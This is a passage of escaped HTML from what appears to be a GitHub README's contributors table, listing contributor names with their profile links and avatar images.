nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a 